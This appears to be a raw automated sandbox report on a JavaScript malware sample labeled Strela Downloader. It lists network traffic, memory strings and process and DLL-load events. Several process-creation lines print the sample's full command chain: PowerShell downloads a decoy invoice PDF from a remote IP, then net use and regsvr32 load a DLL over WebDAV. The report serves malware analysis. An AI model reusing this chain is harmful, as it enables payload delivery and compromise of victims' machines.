2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: global traffic

TCP traffic: 192.168.2.10:49733 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:65529 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49717 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1293170021.000002C14E1FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1356964385.0000029A24360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1347834026.0000029A243AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1355334321.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8E
Source: net.exe, 00000007.00000003.1355334321.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: net.exe, 00000007.00000002.1356964385.0000029A24360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace0yB0
Source: svchost.exe, 00000009.00000002.2583107698.000002A6AE200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1356105178.000002A6AE400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7204, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1702927977169302141.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dgjwuz5k.apf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1702927977169302141.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1684,i,4406895011367377378,10225544513247605529,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1684,i,4406895011367377378,10225544513247605529,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
